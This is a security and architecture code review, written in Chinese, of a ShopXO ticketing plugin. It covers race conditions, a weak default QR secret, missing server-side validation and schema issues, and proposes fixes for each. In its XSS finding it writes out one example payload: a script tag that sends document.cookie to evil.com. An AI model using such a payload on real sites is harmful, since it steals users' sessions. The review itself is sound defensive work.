vr-shopxo-plugin/reviews/code-review-BackendArchitec...

12 KiB
Raw Blame History

vr-shopxo-plugin 代码审议报告

审议人BackendArchitect 日期2026-04-15 审议范围vr_ticket 插件核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html 视角Backend Architect / PHP / 数据库 / 架构完整性


一、插件架构EventListener.php / plugin.json

1.1 plugin.json 生命周期钩子缺失 ⚠️ 严重

问题plugin.json 声明了 hooks 数组包含两个 hook但文件中缺少关键的 Install/Uninstall/Enable/Disable 生命周期钩子。

"hooks": [
    "plugins_service_order_pay_success_handle_end",
    "plugins_service_order_delete_success"
]

ShopXO 插件标准要求实现以下函数:

  • vr_ticket_install() 存在
  • vr_ticket_uninstall() 存在(但为空实现)
  • vr_ticket_enable() 缺失
  • vr_ticket_disable() 缺失

影响:插件启用/停用时无法执行必要的初始化或清理操作,可能导致菜单重复注册或权限残留。

修复建议

function vr_ticket_enable()
{
    // 注册菜单/权限
    return true;
}

function vr_ticket_disable()
{
    // 清理菜单/权限状态
    return true;
}

1.2 ALTER TABLE 缺少兼容性检查 ⚠️ 中等

EventListener.php 第 100-103 行:

$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
if (empty($cols)) {
    $db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
}

SHOW COLUMNS 返回的是结果集resource 或 PDOStatement不是数组直接 empty($cols) 判断无效。应使用 $cols->rowCount() 或重新查询。

1.3 Uninstall 空实现 ⚠️ 建议

vr_ticket_uninstall() 返回 true 但不做任何清理。虽然保留数据是合理的设计决策,但应在代码注释中明确标注「有意保留数据」,而非看起来像是未完成的占位符。

1.4 Upgrade 空实现 ⚠️ 建议

vr_ticket_upgrade($old_version) 是空实现,未来版本升级时可能遗漏数据迁移。应在首次发布时就设计好版本号比对框架。


二、票务核心TicketService.php / BaseService.php

2.1 onOrderPaid() 重复发放风险 — 并发漏洞 ⚠️ 严重

TicketService.php 第 23-68 行,没有任何幂等性保护。如果以下情况发生:

  1. ShopXO 支付回调在短时间内触发两次(网络重试)
  2. 多实例部署下两个进程同时处理同一订单

结果同一订单商品生成两张票inventory=1 的票出现多张)。

代码中没有任何以下保护机制:

  • 事务Transaction
  • 悲观锁SELECT ... FOR UPDATE
  • 幂等键(已发放标志检查)

修复建议:在 onOrderPaid() 开头增加幂等检查:

$existing = \Db::name(BaseService::table('tickets'))
    ->where('order_id', $order_id)
    ->find();
if (!empty($existing)) {
    BaseService::log('onOrderPaid: already issued', ['order_id' => $order_id], 'info');
    return true; // 已发放,跳过
}

2.2 issueTicket() 二次写入时序问题 ⚠️ 中等

第 96-126 行:

$ticket_id = \Db::name(...)->insertGetId([...]); // qr_data 的 id=0

// 更新 QR 数据中的 ticket_id
if ($ticket_id > 0) {
    $qr_payload['id'] = $ticket_id;
    $qr_data_updated = BaseService::encryptQrData($qr_payload);
    \Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
}

在两步之间,如果系统读取了 ticket会得到 id=0 的 QR 数据(虽然 decryptQrData 会成功解密,但数据内容不完整)。

修复建议:使用数据库事务包裹,或在插入前生成 UUID 作为内部关联码,而非依赖插入后的自增 ID。

2.3 verifyTicket() 核销状态竞态条件 ⚠️ 严重

第 138-196 行,verifyTicket 使用「查询-判断-更新」三步模式:

$ticket = \Db::name('tickets')->where('ticket_code', $ticket_code)->find();
if ($ticket['verify_status'] == 1) { return ... }
\Db::name('tickets')->where('id', $ticket['id'])->update(['verify_status' => 1, ...]);

在并发场景下,两个核销员可能同时通过状态检查,导致:

  • 同一张票被核销两次(记录写入两次)
  • 核销员 A 成功更新后,核销员 B 的 update 仍会执行(覆盖 verifier_id

修复建议:使用带条件的原子更新:

$affected = \Db::name(BaseService::table('tickets'))
    ->where('id', $ticket['id'])
    ->where('verify_status', 0)  // 原子条件
    ->update(['verify_status' => 1, 'verify_time' => $now, ...]);
if ($affected === 0) {
    return ['code' => -2, 'msg' => '该票已核销'];
}

2.4 QR Secret 密钥管理问题 ⚠️ 严重

BaseService.php 第 98-107 行:

private static function getQrSecret()
{
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (!empty($secret)) {
        return $secret;
    }
    return config('shopxo.app_key', 'shopxo_default_secret_change_me');
}

问题:

  1. 硬编码默认值'shopxo_default_secret_change_me' 若被用于生产环境QR 加密等于明文
  2. 密钥与 ShopXO 共享app_key 可能被用于多个目的,增加密钥泄露面
  3. 无密钥强度验证:未检查密钥长度是否满足 AES-256 要求

修复建议

private static function getQrSecret()
{
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (empty($secret) || strlen($secret) < 32) {
        throw new \Exception('VR票务 QR 加密密钥未配置或长度不足需要32字符');
    }
    return $secret;
}

2.5 AES 加密模式无 HMAC 防篡改 ⚠️ 中等

encryptQrData() 使用 AES-256-CBC + OPENSSL_RAW_DATA,但没有对密文做 HMAC 签名。在某些 padding oracle 攻击场景下CBC 模式可能被利用。即使当前风险较低,缺乏完整性验证是设计缺陷。

修复建议:在加密后增加 HMAC

$mac = hash_hmac('sha256', $iv . $encrypted, $secret);
return base64_encode($iv . $encrypted . $mac);

2.6 getQrCodeUrl() 明文暴露票码 ⚠️ 中等

第 220-228 行:

public static function getQrCodeUrl($ticket_code)
{
    $content = base64_encode(json_encode([
        'type' => 'vr_ticket',
        'code' => $ticket_code,  // ⚠️ 未经加密的票码直接暴露
    ]));
    return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}

QR 码扫描后,任何人都能从 URL 中提取 ticket_code(只需 base64_decode),无需破解加密。这使得:

  1. 票码可枚举:攻击者可遍历 1-N 的 UUID 尝试核销
  2. 隐私泄露QR 码本身不需要包含明文票码

修复建议QR URL 只传加密后的 payload不包含明文 ticket_code

$qr_data = BaseService::encryptQrData([
    'code' => $ticket_code,
    // 不需要 type 明文
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);

三、前端票务详情页ticket_detail.html

3.1 XSS 漏洞 — |raw 过滤器 ⚠️ 严重

第 125 行:

<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>

simple_desc 字段内容由商家后台输入,直接用 |raw 输出到 HTML等于允许任意 XSS 注入。攻击者只需在商品副标题输入 <script>document.location='https://evil.com/?c='+document.cookie</script> 即可窃取用户 cookie。

修复建议

  • 移除 |raw,使用 |htmlspecialchars
  • 或在后端输出前统一做 XSS 过滤

3.2 购票数据无服务端验证 ⚠️ 严重

第 384-422 行 submit() 函数:

var checkoutUrl = this.requestUrl + '?s=index/buy/index' +
    '&goods_params=' + encodeURIComponent(goodsParams);
location.href = checkoutUrl;

购票参数(座位、票价、数量)全部由 JavaScript 计算后拼接 URL没有任何服务端验证。攻击者可:

  1. 篡改 price 为 0.01,购买任意座位
  2. 绕过前端座位数量限制,超购座位
  3. 伪造 extension_data 中的 seat_info

修复建议

  • submit() 中改为 POST 请求
  • 服务端在 plugins_service_buy_order_create_end hook 中重新计算价格,不以客户端参数为准
  • 添加签名验证HMAC of goods_params + secret

3.3 座位图渲染 XSS 风险 — 动态插入 HTML ⚠️ 中等

第 271-276 行:

rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
    'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
    'onclick="vrTicketApp.toggleSeat(this)"></div>';

seatInfo.classes 直接拼入 HTML class 属性。虽然 class 属性本身 XSS 风险低于 innerHTML但如果 classes 值包含引号或特殊字符(如 a" onclick="evil()"),可破坏属性边界。

修复建议:对 seatInfo.classes 做属性值转义:

var safeClasses = (seatInfo.classes || '').replace(/"/g, '&quot;');

3.4 观演人表单无服务端验证 ⚠️ 中等

attendeeData(第 395-407 行)收集的姓名、手机、身份证直接存入订单扩展数据,没有任何:

  • 格式验证(手机号正则、身份证号校验)
  • 长度限制
  • 恶意内容过滤(<script> 等)

修复建议:在提交前增加正则校验,并在 onOrderPaid() 中增加服务端验证。

3.5 loadSoldSeats() 完全未实现 ⚠️ 中等

第 370-378 行的函数是 TODO 空实现。这意味着:

  • 用户在选座时看不到已售座位
  • 可能出现「选了但实际已售出」的情况
  • 座位锁机制缺失

修复建议:实现从后端 API 加载已售座位数据并配合服务端座位锁Redis 或数据库行锁)。


四、数据库 Schema

4.1 vr_seat_templates.spec_base_id_map 为 LONGTEXT 但无索引 ⚠️ 建议

座位模板表存储 seat_mapspec_base_id_map座位ID到spec_base_id的映射但在 vr_tickets 表中查询时使用 spec_base_id 字段,而该字段没有单独的索引(只有联合索引 idx_goods_id)。

vr_tickets.spec_base_id 应有独立索引:

KEY `idx_spec_base_id` (`spec_base_id`)

4.2 vr_verifications 无唯一约束防重复 ⚠️ 建议

核销记录表(第 83-97 行)在第 93 行定义 idx_ticket_id,但没有唯一约束。并发核销时可能产生多条重复记录。

4.3 vr_tickets.goods_snapshot TEXT 字段用于 JSON ⚠️ 轻微

第 43 行存储商品快照为 TEXT但代码中直接 json_encode/json_decode。这在实际使用中没问题,但建议:

  • 添加 CHECK 约束MySQL 8+)验证 JSON 格式
  • 或使用 JSON 类型字段MySQL 5.7+

4.4 字符集一致性 ⚠️ 轻微

EventListener.php 使用 utf8mb4_general_ciShopXO 官方表可能使用 utf8mb4_unicode_ci。混用 COLLATE 可能影响排序结果一致性,建议统一。


五、安全性综合评估

风险项 严重度 类型 状态
onOrderPaid() 无幂等性,并发重复发票 严重 业务逻辑 存在
verifyTicket() 核销竞态条件 严重 业务逻辑 存在
QR Secret 默认密钥 严重 密钥管理 存在
goods.simple_desc XSS|raw 严重 XSS 存在
购票参数无服务端验证 严重 业务逻辑 存在
AES 无 HMAC 防篡改 中等 加密 存在
getQrCodeUrl() 明文票码 中等 隐私/枚举 存在
观演人表单无服务端校验 中等 输入验证 存在
loadSoldSeats() 未实现 中等 功能缺失 存在
ALTER TABLE 兼容性判断错误 中等 兼容性 存在
Enable/Disable 钩子缺失 中等 架构 存在
Uninstall 空实现 轻微 架构 存在

六、总结

架构评价

插件架构基本合理,利用了 ShopXO 的 Hook 机制扩展核心功能,避免修改 ShopXO 源码。AES-256-CBC 加密实现本身正确QR 生成链路清晰。但并发安全服务端校验是最大短板,在一个真实部署的票务系统中会导致「一票多发」和「价格篡改」问题。

最优先修复项

  1. 立即:在 onOrderPaid() 增加幂等性检查(防重复发票)
  2. 立即:移除 |raw XSS 漏洞(任意用户 cookie 窃取)
  3. 立即:在 verifyTicket() 使用原子条件更新(防双重核销)
  4. 立即:配置有效的 VR_TICKET_QR_SECRET 环境变量(防 QR 伪造)
  5. 高优先级:购票参数添加服务端验签和价格重算

整体评分

维度 评分1-10
架构完整性 7
并发安全 3
输入安全 4
加密实现 6
代码质量 6
综合 5.2